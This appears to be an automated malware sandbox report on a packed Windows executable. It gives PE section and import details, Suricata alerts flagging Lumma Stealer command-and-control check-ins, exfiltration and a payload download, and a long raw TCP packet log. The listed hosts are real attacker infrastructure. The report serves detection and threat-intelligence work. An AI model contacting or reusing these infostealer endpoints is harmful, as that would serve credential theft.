IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x581f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x56000	0x26200	e790bdab8e787b4a3f0745f78b8b6678	False	0.9992827868852459	data	7.983743483920532	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x57000	0x2b0	0x200	ce3147305e091e743ccde96a4ccf579b	False	0.796875	data	6.000925210258927	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x58000	0x1000	0x200	c92ced077364b300efd06b14c70a61dc	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x59000	0x2be000	0x200	ab6946c772599650d6c5b851c7992d0b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zkcpbqpe	0x317000	0x1ac000	0x1ab600	150b68b0e08987916c870c5baaad6e7f	False	0.9944953751096812	data	7.954564014881211	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
krptfgvl	0x4c3000	0x1000	0x400	0d283f45e9dc06c93d3b650476a60b06	False	0.7734375	data	6.047995775559493	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4c4000	0x3000	0x2200	b05f14dee54f970781ead0b506454b3d	False	0.05549172794117647	DOS executable (COM)	0.5916075393766876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4c21ec	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T15:37:03.701497+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	104.21.33.116	443	TCP
2024-11-23T15:37:04.404513+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.33.116	443	TCP
2024-11-23T15:37:04.404513+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.33.116	443	TCP
2024-11-23T15:37:05.692546+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	104.21.33.116	443	TCP
2024-11-23T15:37:06.614834+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	104.21.33.116	443	TCP
2024-11-23T15:37:06.614834+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.33.116	443	TCP
2024-11-23T15:37:08.360725+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	104.21.33.116	443	TCP
2024-11-23T15:37:10.677938+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	104.21.33.116	443	TCP
2024-11-23T15:37:13.237404+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	104.21.33.116	443	TCP
2024-11-23T15:37:16.602315+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	104.21.33.116	443	TCP
2024-11-23T15:37:17.301003+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	104.21.33.116	443	TCP
2024-11-23T15:37:19.229310+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49713	104.21.33.116	443	TCP
2024-11-23T15:37:19.308542+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49713	104.21.33.116	443	TCP
2024-11-23T15:37:24.409786+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49718	104.21.33.116	443	TCP
2024-11-23T15:37:25.137824+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49718	104.21.33.116	443	TCP
2024-11-23T15:37:26.605119+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49724	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 15:36:54.606240988 CET	49675	443	192.168.2.5	23.1.237.91
Nov 23, 2024 15:36:54.652937889 CET	49674	443	192.168.2.5	23.1.237.91
Nov 23, 2024 15:36:54.824819088 CET	49673	443	192.168.2.5	23.1.237.91
Nov 23, 2024 15:37:02.428836107 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:02.428896904 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:02.428985119 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:02.433706999 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:02.433729887 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:03.701211929 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:03.701497078 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:03.716439962 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:03.716483116 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:03.716681004 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:03.762190104 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:03.782876015 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:03.782876015 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:03.782995939 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:04.215342999 CET	49675	443	192.168.2.5	23.1.237.91
Nov 23, 2024 15:37:04.262274027 CET	49674	443	192.168.2.5	23.1.237.91
Nov 23, 2024 15:37:04.404537916 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:04.404633045 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:04.404726028 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:04.409636974 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:04.409636974 CET	49704	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:04.409676075 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:04.409693003 CET	443	49704	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:04.434323072 CET	49673	443	192.168.2.5	23.1.237.91
Nov 23, 2024 15:37:04.480258942 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:04.480312109 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:04.480427980 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:04.480851889 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:04.480863094 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:05.692471981 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:05.692545891 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:05.694590092 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:05.694598913 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:05.694837093 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:05.696758032 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:05.696798086 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:05.696837902 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.614836931 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.614876032 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.614932060 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.615010023 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.615200043 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:06.615225077 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.622925997 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.623328924 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:06.623334885 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.631278038 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.631627083 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:06.631656885 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.684221983 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:06.734463930 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.777870893 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:06.777896881 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.810352087 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.810388088 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.810549021 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.810719967 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:06.810720921 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:06.810868979 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:06.810909033 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.810935020 CET	49705	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:06.810950041 CET	443	49705	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:06.930177927 CET	443	49703	23.1.237.91	192.168.2.5
Nov 23, 2024 15:37:06.930283070 CET	49703	443	192.168.2.5	23.1.237.91
Nov 23, 2024 15:37:07.148530006 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:07.148593903 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:07.148674011 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:07.149146080 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:07.149163961 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:08.360503912 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:08.360724926 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:08.362346888 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:08.362360954 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:08.362570047 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:08.364200115 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:08.364402056 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:08.364438057 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:09.269917011 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:09.270014048 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:09.270073891 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:09.270183086 CET	49706	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:09.270205021 CET	443	49706	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:09.453392982 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:09.453444004 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:09.453536987 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:09.453943968 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:09.453957081 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:10.677664042 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:10.677937984 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:10.679572105 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:10.679582119 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:10.679785013 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:10.681094885 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:10.681247950 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:10.681277037 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:10.681341887 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:10.723330975 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:11.625504017 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:11.625761986 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:11.625866890 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:11.626060963 CET	49707	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:11.626104116 CET	443	49707	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:11.916596889 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:11.916644096 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:11.916729927 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:11.917150974 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:11.917162895 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:13.237288952 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:13.237404108 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:13.238914967 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:13.238929987 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:13.239337921 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:13.240466118 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:13.240662098 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:13.240701914 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:13.240794897 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:13.240804911 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:14.126486063 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:14.126764059 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:14.126872063 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:14.156619072 CET	49708	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:14.156682968 CET	443	49708	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:15.332546949 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:15.332648039 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:15.332746029 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:15.333272934 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:15.333303928 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:15.416626930 CET	49710	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:15.416671038 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:15.416778088 CET	49710	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:15.426116943 CET	49710	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:15.426141024 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:16.602232933 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:16.602314949 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:16.603795052 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:16.603807926 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:16.604027987 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:16.605295897 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:16.605444908 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:16.605451107 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:17.096775055 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:17.097130060 CET	49710	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:17.254071951 CET	49710	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:17.254146099 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:17.255208969 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:17.301032066 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:17.301152945 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:17.301218033 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:17.301489115 CET	49709	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:17.301506996 CET	443	49709	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:17.309062958 CET	49710	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:17.886943102 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:17.887005091 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:17.887216091 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:17.888432026 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:17.888453960 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.212831974 CET	49710	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:19.229228020 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.229310036 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.230648994 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.230664968 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.231065989 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.259332895 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:19.277787924 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.306708097 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.307687998 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.307754993 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.307867050 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.307918072 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.308146000 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.308300972 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.308428049 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.308446884 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.308835030 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.308882952 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.309344053 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.309370995 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.309386015 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.309567928 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.309591055 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.355333090 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.355510950 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.355549097 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.355564117 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.399374008 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.399710894 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.399759054 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.443340063 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.443418980 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.487356901 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.548116922 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.548440933 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:19.548477888 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.692457914 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:19.765156031 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:19.765219927 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:19.765239954 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:19.765259981 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:19.765297890 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:19.765316963 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:19.765305996 CET	49710	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:19.765391111 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:19.765444040 CET	49710	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:19.765444040 CET	49710	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:19.765444040 CET	49710	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:19.765444040 CET	49710	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:19.785537958 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:19.785619974 CET	49710	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:19.785638094 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:19.785754919 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:19.785820961 CET	49710	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:20.736057043 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:20.736121893 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:20.736208916 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:20.736643076 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:20.736661911 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:21.484903097 CET	49710	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:21.484980106 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:21.485006094 CET	49710	443	192.168.2.5	172.202.163.200
Nov 23, 2024 15:37:21.485016108 CET	443	49710	172.202.163.200	192.168.2.5
Nov 23, 2024 15:37:22.603494883 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:22.603589058 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:22.607460022 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:22.607471943 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:22.607887030 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:22.619056940 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:22.659342051 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.097840071 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.097872972 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.097892046 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.098001003 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.098017931 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.098068953 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.128818989 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:23.128931046 CET	443	49713	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:23.129224062 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:23.129273891 CET	49713	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:23.141619921 CET	49718	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:23.141712904 CET	443	49718	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:23.141824961 CET	49718	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:23.142275095 CET	49718	443	192.168.2.5	104.21.33.116
Nov 23, 2024 15:37:23.142307997 CET	443	49718	104.21.33.116	192.168.2.5
Nov 23, 2024 15:37:23.290368080 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.290407896 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.290478945 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.290503979 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.290601015 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.341630936 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.341662884 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.341710091 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.341717005 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.341775894 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.485702038 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.485738039 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.485794067 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.485829115 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.486125946 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.514869928 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.514904022 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.514950991 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.514957905 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.515005112 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.515026093 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.531934023 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.531975031 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.532058954 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.532066107 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.532110929 CET	49716	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:23.551604033 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.551635027 CET	443	49716	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:23.551664114 CET	49716	443	192.168.2.5	13.107.246.63
